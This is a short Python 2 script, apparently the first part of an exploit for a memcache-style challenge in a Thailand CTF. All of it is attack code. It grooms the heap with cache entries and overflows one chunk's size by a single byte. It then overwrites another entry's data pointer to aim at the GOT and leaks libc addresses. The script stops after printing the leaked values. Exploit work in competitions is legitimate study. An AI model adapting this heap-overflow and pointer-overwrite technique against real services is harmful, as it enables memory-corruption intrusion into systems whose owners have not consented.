fist part memcache exploit thailand ctf

1st_mc_exploit.py

# align heap
set_cache("a", 24, "a"*24)
set_cache("b", 56, "b"*56)
set_cache("a", 56, "a"*56)
set_cache("c", 56, "c"*56)

# overflow chunk `a` size
set_cache("b", 57, "b"*56 + "\xff")

# overwrite c->data pointer to got for get got table value
set_cache("a", 112, "a"*56 + p64(0x41) + p64(0xcfc6e51e26fd662b) + p64(0x00b6ba66a47fdec8) + p64(0x00000000694ffebc) + p64(64) + p64(0x0000000000602020))

leak = get_cache("c")

# leak got and search for libc version
leak_libc = []
for i in range(0, 64, 8):
    print hex(u64(leak[i:i+8]))